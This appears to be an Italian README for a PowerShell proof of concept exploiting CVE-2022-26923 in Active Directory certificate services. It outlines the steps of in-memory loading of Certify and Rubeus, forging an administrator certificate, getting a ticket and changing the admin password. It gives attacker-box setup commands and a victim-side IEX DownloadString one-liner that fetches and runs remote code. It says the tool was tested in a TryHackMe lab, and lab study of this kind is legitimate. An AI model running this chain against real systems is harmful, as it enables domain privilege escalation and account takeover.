CVE-2022-26923-Powershell-POC
Un powershell poc per caricare ed eseguire automaticamente Certify e Rubeus dalla memoria.
Come funziona?
- Carica Certify.exe e Rubeus.exe in memoria.
- Analizza la macchina target alla ricerca di modelli di certificato configurati in modo errato. (maggiori informazioni su https://www.youtube.com/watch?v=HBRCI5O35R8)
- Richiede un certificato per l'utente amministrativo, basato sul modello vulnerabile.
- Invia il certificato al gestore dei certificati, lo converte in formato .pfx e lo restituisce al client.
- Utilizza Rubeus per caricare il certificato e generare un ticket per l'utente amministrativo.
- Modifica la password dell'utente amministrativo. (Solo per la demo)
Il POC è stato testato sui seguenti TryHackMe Labs: https://tryhackme.com/room/adcertificatetemplates
Questa CVE viene utilizzata per l'escalation dei privilegi, quindi nessuna exploit iniziale è coperta in questa demo, né nel laboratorio THM.
Passaggi:
- python3 -m http.server 80 [Attacker Box]
- python3 uploader.py 8000 [Attacker Box]
- IEX(New-Object Net.WebClient).DownloadString('http://IP/poc.ps1') [Victim Box]
Nota: Questo POC ha scopo educativo, siete responsabili delle vostre azioni.